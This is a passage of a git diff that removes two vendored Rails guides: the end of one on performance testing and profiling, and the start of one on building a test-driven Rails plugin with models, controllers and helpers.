-map.root :controller => 'home' -map.resources :posts - -# home_controller.rb -class HomeController < ApplicationController - def dashboard - @users = User.last_ten(:include => :avatars) - @posts = Post.all_today - end -end - -# posts_controller.rb -class PostsController < ApplicationController - def create - @post = Post.create(params[:post]) - redirect_to(@post) - end -end - -# post.rb -class Post < ActiveRecord::Base - before_save :recalculate_costly_stats - - def slow_method - # I fire gallzilion queries sleeping all around - end - - private - - def recalculate_costly_stats - # CPU heavy calculations - end -end - - -h5. Controller Example - -Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them. - -Here's the performance test for +HomeController#dashboard+ and +PostsController#create+: - - -require 'test_helper' -require 'performance_test_help' - -class PostPerformanceTest < ActionController::PerformanceTest - def setup - # Application requires logged-in user - login_as(:lifo) - end - - def test_homepage - get '/dashboard' - end - - def test_creating_new_post - post '/posts', :post => { :body => 'lifo is fooling you' } - end -end - - -You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide. - -h5. Model Example - -Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code. - -Performance test for +Post+ model: - - -require 'test_helper' -require 'performance_test_help' - -class PostModelTest < ActionController::PerformanceTest - def test_creation - Post.create :body => 'still fooling you', :cost => '100' - end - - def test_slow_method - # Using posts(:awesome) fixture - posts(:awesome).slow_method - end -end - - -h4. Modes - -Performance tests can be run in two modes: Benchmarking and Profiling. - -h5. Benchmarking - -Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode. - -To run performance tests in benchmarking mode: - - -$ rake test:benchmark - - -h5. Profiling - -Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode. - -To run performance tests in profiling mode: - - -$ rake test:profile - - -h4. Metrics - -Benchmarking and profiling run performance tests in various modes described below. - -h5. Wall Time - -Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system. - -Mode: Benchmarking - -h5. Process Time - -Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load. - -Mode: Profiling - -h5. Memory - -Memory measures the amount of memory used for the performance test case. - -Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby - -h5. Objects - -Objects measures the number of objects allocated for the performance test case. - -Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby - -h5. GC Runs - -GC Runs measures the number of times GC was invoked for the performance test case. - -Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby - -h5. GC Time - -GC Time measures the amount of time spent in GC for the performance test case. - -Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby - -h4. Understanding the Output - -Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric. - -h5. Benchmarking - -In benchmarking mode, performance tests generate two types of outputs: - -h6. Command Line - -This is the primary form of output in benchmarking mode. Example: - - -BrowsingTest#test_homepage (31 ms warmup) - wall_time: 6 ms - memory: 437.27 KB - objects: 5514 - gc_runs: 0 - gc_time: 19 ms - - -h6. CSV Files - -Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files: - -* BrowsingTest#test_homepage_gc_runs.csv -* BrowsingTest#test_homepage_gc_time.csv -* BrowsingTest#test_homepage_memory.csv -* BrowsingTest#test_homepage_objects.csv -* BrowsingTest#test_homepage_wall_time.csv - -As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes. - -Sample output of +BrowsingTest#test_homepage_wall_time.csv+: - - -measurement,created_at,app,rails,ruby,platform -0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 -0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 -0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 -0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 -0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 -0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0 -0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0 -0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 -0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0 -0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0 - - -h5. Profiling - -In profiling mode, you can choose from four types of output. - -h6. Command Line - -This is a very basic form of output in profiling mode: - - -BrowsingTest#test_homepage (58 ms warmup) - process_time: 63 ms - memory: 832.13 KB - objects: 7882 - - -h6. Flat - -Flat output shows the total amount of time spent in each method. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html. - -h6. Graph - -Graph output shows how long each method takes to run, which methods call it and which methods it calls. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html. - -h6. Tree - -Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools. - -h4. Tuning Test Runs - -By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured. - -WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon. - -h4. Performance Test Environment - -Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters: - - -ActionController::Base.perform_caching = true -ActiveSupport::Dependencies.mechanism = :require -Rails.logger.level = ActiveSupport::BufferedLogger::INFO - - -As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment. - -h4. Installing GC-Patched Ruby - -To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation. - -The process is fairly straightforward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory: - -h5. Installation - -Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch. - -h5. Download and Extract - - -[lifo@null ~]$ mkdir rubygc -[lifo@null ~]$ wget -[lifo@null ~]$ tar -xzvf -[lifo@null ~]$ cd - - -h5. Apply the Patch - - -[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 - - -h5. Configure and Install - -The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace ++ with a full patch to your actual home directory. - - -[lifo@null ruby-version]$ ./configure --prefix=//rubygc -[lifo@null ruby-version]$ make && make install - - -h5. Prepare Aliases - -For convenience, add the following lines in your +~/.profile+: - - -alias gcruby='~/rubygc/bin/ruby' -alias gcrake='~/rubygc/bin/rake' -alias gcgem='~/rubygc/bin/gem' -alias gcirb='~/rubygc/bin/irb' -alias gcrails='~/rubygc/bin/rails' - - -h5. Install Rubygems and Dependency Gems - -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. - -Additionally, install the following gems: - -* +rake+ -* +rails+ -* +ruby-prof+ -* +rack+ -* +mysql+ - -If installing +mysql+ fails, you can try to install it manually: - - -[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config -[lifo@null mysql]$ make && make install - - -And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests. - -h3. Command Line Tools - -Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing: - -h4. +benchmarker+ - -+benchmarker+ is a wrapper around Ruby's "Benchmark":http://ruby-doc.org/core/classes/Benchmark.html standard library. - -Usage: - - -$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ... - - -Examples: - - -$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all' - - -If the +[times]+ argument is omitted, supplied methods are run just once: - - -$ script/performance/benchmarker 'Item.first' 'Item.last' - - -h4. +profiler+ - -+profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem. - -Usage: - - -$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html] - - -Examples: - - -$ script/performance/profiler 'Item.all' - - -This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell. - - -$ script/performance/profiler 'Item.all' 10 graph - - -This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell. - -If you want to store the output in a file: - - -$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt - - -h3. Helper Methods - -Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components. - -h4. Model - - -Project.benchmark("Creating project") do - project = Project.create("name" => "stuff") - project.create_manager("name" => "David") - project.milestones << Milestone.find(:all) -end - - -This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file: - - -Creating project (185.3ms) - - -Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+ - -h4. Controller - -Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715 - - -def process_projects - self.class.benchmark("Processing projects") do - Project.process(params[:project_ids]) - Project.update_cached_projects - end -end - - -NOTE: +benchmark+ is a class method inside controllers - -h4. View - -And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715: - - -<% benchmark("Showing projects partial") do %> - <%= render :partial => @projects %> -<% end %> - - -h3. Request Logging - -Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry: - - -Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET] -Rendering template within layouts/items -Rendering items/index -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] - - -For this section, we're only interested in the last line: - - -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] - - -This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. - -Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric. - -h3. Useful Links - -h4. Rails Plugins and Gems - -* "Rails Analyzer":http://rails-analyzer.rubyforge.org -* "Palmist":http://www.flyingmachinestudios.com/projects/ -* "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master -* "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master - -h4. Generic Tools - -* "httperf":http://www.hpl.hp.com/research/linux/httperf/ -* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html -* "JMeter":http://jakarta.apache.org/jmeter/ -* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html - -h4. Tutorials and Documentation - -* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org -* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs - -h3. Commercial Products - -Rails has been lucky to have three startups dedicated to Rails specific performance tools: - -* "New Relic":http://www.newrelic.com -* "Fiveruns":http://www.fiveruns.com -* "Scout":http://scoutapp.com - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4 - -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/vendor/rails/railties/guides/source/plugins.textile b/vendor/rails/railties/guides/source/plugins.textile deleted file mode 100644 index 55ecdcd3..00000000 --- a/vendor/rails/railties/guides/source/plugins.textile +++ /dev/null @@ -1,1512 +0,0 @@ -h2. The Basics of Creating Rails Plugins - -A Rails plugin is either an extension or a modification of the core framework. Plugins provide: - -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don’t have to include every cool new feature under the sun - -After reading this guide you should be familiar with: - -* Creating a plugin from scratch -* Writing and running tests for the plugin -* Storing models, views, controllers, helpers and even other plugins in your plugins -* Writing generators -* Writing custom Rake tasks in your plugin -* Generating RDoc documentation for your plugin -* Avoiding common pitfalls with 'init.rb' - -This guide describes how to build a test-driven plugin that will: - -* Extend core ruby classes like Hash and String -* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins -* Add a view helper that can be used in erb templates -* Add a new generator that will generate a migration -* Add a custom generator command -* A custom route method that can be used in routes.rb - -For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development. - -endprologue. - -h3. Setup - -h4. Create the Basic Application - -The examples in this guide require that you have a working rails application. To create a simple rails app execute: - -
    -gem install rails
    -rails yaffle_guide
    -cd yaffle_guide
    -script/generate scaffold bird name:string
    -rake db:migrate
    -script/server
    -
    - -Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. - -NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. - - -h4. Generate the Plugin Skeleton - -Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also. - -This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. - -Examples: -
    -./script/generate plugin yaffle
    -./script/generate plugin yaffle --with-generator
    -
    - -To get more detailed help on the plugin generator, type +./script/generate plugin+. - -Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the +--with-generator+ option now: - -
    -./script/generate plugin yaffle --with-generator
    -
    - -You should see the following output: - -
    -create  vendor/plugins/yaffle/lib
    -create  vendor/plugins/yaffle/tasks
    -create  vendor/plugins/yaffle/test
    -create  vendor/plugins/yaffle/README
    -create  vendor/plugins/yaffle/MIT-LICENSE
    -create  vendor/plugins/yaffle/Rakefile
    -create  vendor/plugins/yaffle/init.rb
    -create  vendor/plugins/yaffle/install.rb
    -create  vendor/plugins/yaffle/uninstall.rb
    -create  vendor/plugins/yaffle/lib/yaffle.rb
    -create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
    -create  vendor/plugins/yaffle/test/core_ext_test.rb
    -create  vendor/plugins/yaffle/generators
    -create  vendor/plugins/yaffle/generators/yaffle
    -create  vendor/plugins/yaffle/generators/yaffle/templates
    -create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
    -create  vendor/plugins/yaffle/generators/yaffle/USAGE
    -
    - -h4. Organize Your Files - -To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this: - -
    -|-- lib
    -|   |-- yaffle
    -|   `-- yaffle.rb
    -`-- rails
    -    |
    -    `-- init.rb
    -
    - -*vendor/plugins/yaffle/rails/init.rb* - - -require 'yaffle' - - -Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean. - -h3. Tests - -In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files: - - * A 'database.yml' file with all of your connection strings - * A 'schema.rb' file with your table definitions - * A test helper method that sets up the database - -h4. Test Setup - -*vendor/plugins/yaffle/test/database.yml:* - -
    -sqlite:
    -  :adapter: sqlite
    -  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
    -
    -sqlite3:
    -  :adapter: sqlite3
    -  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
    -
    -postgresql:
    -  :adapter: postgresql
    -  :username: postgres
    -  :password: postgres
    -  :database: yaffle_plugin_test
    -  :min_messages: ERROR
    -
    -mysql:
    -  :adapter: mysql
    -  :host: localhost
    -  :username: root
    -  :password: password
    -  :database: yaffle_plugin_test
    -
    - -For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: - -*vendor/plugins/yaffle/test/schema.rb:* - - -ActiveRecord::Schema.define(:version => 0) do - create_table :hickwalls, :force => true do |t| - t.string :name - t.string :last_squawk - t.datetime :last_squawked_at - end - create_table :wickwalls, :force => true do |t| - t.string :name - t.string :last_tweet - t.datetime :last_tweeted_at - end - create_table :woodpeckers, :force => true do |t| - t.string :name - end -end - - -*vendor/plugins/yaffle/test/test_helper.rb:* - - -ENV['RAILS_ENV'] = 'test' -ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' - -require 'test/unit' -require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) - -def load_schema - config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) - ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") - - db_adapter = ENV['DB'] - - # no db passed, try one of these fine config-free DBs before bombing. - db_adapter ||= - begin - require 'rubygems' - require 'sqlite' - 'sqlite' - rescue MissingSourceFile - begin - require 'sqlite3' - 'sqlite3' - rescue MissingSourceFile - end - end - - if db_adapter.nil? - raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." - end - - ActiveRecord::Base.establish_connection(config[db_adapter]) - load(File.dirname(__FILE__) + "/schema.rb") - require File.dirname(__FILE__) + '/../rails/init.rb' -end - - -Now whenever you write a test that requires the database, you can call 'load_schema'. - -h4. Run the Plugin Tests - -Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: - -*vendor/plugins/yaffle/test/yaffle_test.rb:* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class YaffleTest < Test::Unit::TestCase - load_schema - - class Hickwall < ActiveRecord::Base - end - - class Wickwall < ActiveRecord::Base - end - - def test_schema_has_loaded_correctly - assert_equal [], Hickwall.all - assert_equal [], Wickwall.all - end - -end - - -To run this, go to the plugin directory and run +rake+: - -
    -cd vendor/plugins/yaffle
    -rake
    -
    - -You should see output like: - - -/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" - create_table(:hickwalls, {:force=>true}) - -> 0.0220s --- create_table(:wickwalls, {:force=>true}) - -> 0.0077s --- initialize_schema_migrations_table() - -> 0.0007s --- assume_migrated_upto_version(0) - -> 0.0007s -Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader -Started -. -Finished in 0.002236 seconds. - -1 test, 1 assertion, 0 failures, 0 errors - - -By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: - - -rake DB=sqlite -rake DB=sqlite3 -rake DB=mysql -rake DB=postgresql - - -Now you are ready to test-drive your plugin! - -h3. Extending Core Classes - -This section will explain how to add a method to String that will be available anywhere in your rails app. - -In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions: - -* *vendor/plugins/yaffle/test/core_ext_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class CoreExtTest < Test::Unit::TestCase - def test_to_squawk_prepends_the_word_squawk - assert_equal "squawk! Hello World", "Hello World".to_squawk - end -end - - -Navigate to your plugin directory and run +rake test+: - - -cd vendor/plugins/yaffle -rake test - - -The test above should fail with the message: - - - 1) Error: -test_to_squawk_prepends_the_word_squawk(CoreExtTest): -NoMethodError: undefined method `to_squawk' for "Hello World":String - ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' - - -Great - now you are ready to start development. - -Then in 'lib/yaffle.rb' require 'lib/core_ext.rb': - -* *vendor/plugins/yaffle/lib/yaffle.rb* - - -require "yaffle/core_ext" - - -Finally, create the 'core_ext.rb' file and add the 'to_squawk' method: - -* *vendor/plugins/yaffle/lib/yaffle/core_ext.rb* - - -String.class_eval do - def to_squawk - "squawk! #{self}".strip - end -end - - -To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory. To see this in action, fire up a console and start squawking: - - -$ ./script/console ->> "Hello World".to_squawk -=> "squawk! Hello World" - - -h4. Working with +init.rb+ - -When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior. - -Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from +init.rb+, as shown above. - -If you must reopen a class in +init.rb+ you can use +module_eval+ or +class_eval+ to avoid any issues: - -* *vendor/plugins/yaffle/rails/init.rb* - - -Hash.class_eval do - def is_a_special_hash? - true - end -end - - -Another way is to explicitly define the top-level module space for all modules and classes, like +::Hash+: - -* *vendor/plugins/yaffle/rails/init.rb* - - -class ::Hash - def is_a_special_hash? - true - end -end - - -h3. Add an "acts_as" Method to Active Record - -A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. - -To begin, set up your files so that you have: - -* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class ActsAsYaffleTest < Test::Unit::TestCase -end - - -* *vendor/plugins/yaffle/lib/yaffle.rb* - - -require 'yaffle/acts_as_yaffle' - - -* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - - -module Yaffle - # your code will go here -end - - -Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models. - -One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so: - -* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - - -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - # any method placed here will apply to classes, like Hickwall - def acts_as_something - send :include, InstanceMethods - end - end - - module InstanceMethods - # any method placed here will apply to instaces, like @hickwall - end -end - - -With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+). - -h4. Add a Class Method - -This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. - -To start out, write a failing test that shows the behavior you'd like: - -* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class Hickwall < ActiveRecord::Base - acts_as_yaffle -end - -class Wickwall < ActiveRecord::Base - acts_as_yaffle :yaffle_text_field => :last_tweet -end - -class ActsAsYaffleTest < Test::Unit::TestCase - load_schema - - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk - assert_equal "last_squawk", Hickwall.yaffle_text_field - end - - def test_a_wickwalls_yaffle_text_field_should_be_last_tweet - assert_equal "last_tweet", Wickwall.yaffle_text_field - end -end - - -To make these tests pass, you could modify your +acts_as_yaffle+ file like so: - -* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - - -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s - end - end -end - -ActiveRecord::Base.send :include, Yaffle - - -h4. Add an Instance Method - -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. - -To start out, write a failing test that shows the behavior you'd like: - -* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class Hickwall < ActiveRecord::Base - acts_as_yaffle -end - -class Wickwall < ActiveRecord::Base - acts_as_yaffle :yaffle_text_field => :last_tweet -end - -class ActsAsYaffleTest < Test::Unit::TestCase - load_schema - - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk - assert_equal "last_squawk", Hickwall.yaffle_text_field - end - - def test_a_wickwalls_yaffle_text_field_should_be_last_tweet - assert_equal "last_tweet", Wickwall.yaffle_text_field - end - - def test_hickwalls_squawk_should_populate_last_squawk - hickwall = Hickwall.new - hickwall.squawk("Hello World") - assert_equal "squawk! Hello World", hickwall.last_squawk - end - - def test_wickwalls_squawk_should_populate_last_tweeted_at - wickwall = Wickwall.new - wickwall.squawk("Hello World") - assert_equal "squawk! Hello World", wickwall.last_tweet - end -end - - -Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this: - -* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - - -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s - send :include, InstanceMethods - end - end - - module InstanceMethods - def squawk(string) - write_attribute(self.class.yaffle_text_field, string.to_squawk) - end - end -end - -ActiveRecord::Base.send :include, Yaffle - - -NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+. - -h3. Models - -This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this: - - -vendor/plugins/yaffle/ -|-- lib -| |-- app -| | |-- controllers -| | |-- helpers -| | |-- models -| | | `-- woodpecker.rb -| | `-- views -| |-- yaffle -| | |-- acts_as_yaffle.rb -| | |-- commands.rb -| | `-- core_ext.rb -| `-- yaffle.rb - - -As always, start with a test: - -* *vendor/plugins/yaffle/test/woodpecker_test.rb:* - - -require File.dirname(__FILE__) + '/test_helper.rb' - -class WoodpeckerTest < Test::Unit::TestCase - load_schema - - def test_woodpecker - assert_kind_of Woodpecker, Woodpecker.new - end -end - - -This is just a simple test to make sure the class is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: - -* *vendor/plugins/yaffle/lib/yaffle.rb:* - - -%w{ models }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end - - -Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin. - -* *vendor/plugins/yaffle/lib/app/models/woodpecker.rb:* - - -class Woodpecker < ActiveRecord::Base -end - - -Finally, add the following to your plugin's 'schema.rb': - -* *vendor/plugins/yaffle/test/schema.rb:* - - -create_table :woodpeckers, :force => true do |t| - t.string :name -end - - -Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. - -h3. Controllers - -This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model. - -You can test your plugin's controller as you would test any other controller: - -* *vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:* - - -require File.dirname(__FILE__) + '/test_helper.rb' -require 'woodpeckers_controller' -require 'action_controller/test_process' - -class WoodpeckersController; def rescue_action(e) raise e end; end - -class WoodpeckersControllerTest < Test::Unit::TestCase - def setup - @controller = WoodpeckersController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - - ActionController::Routing::Routes.draw do |map| - map.resources :woodpeckers - end - end - - def test_index - get :index - assert_response :success - end -end - - -This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: - -* *vendor/plugins/yaffle/lib/yaffle.rb:* - - -%w{ models controllers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end - - -* *vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:* - - -class WoodpeckersController < ActionController::Base - - def index - render :text => "Squawk!" - end - -end - - -Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action. - -h3. Helpers - -This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller. - -You can test your plugin's helper as you would test any other helper: - -* *vendor/plugins/yaffle/test/woodpeckers_helper_test.rb* - - -require File.dirname(__FILE__) + '/test_helper.rb' -include WoodpeckersHelper - -class WoodpeckersHelperTest < Test::Unit::TestCase - def test_tweet - assert_equal "Tweet! Hello", tweet("Hello") - end -end - - -This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with +rake+, you can make it pass like so: - -* *vendor/plugins/yaffle/lib/yaffle.rb:* - - -%w{ models controllers helpers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end - - -* *vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:* - - -module WoodpeckersHelper - - def tweet(text) - "Tweet! #{text}" - end - -end - - -Now your test should be passing, and you should be able to use the Woodpeckers helper in your app. - -h3. Routes - -In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom 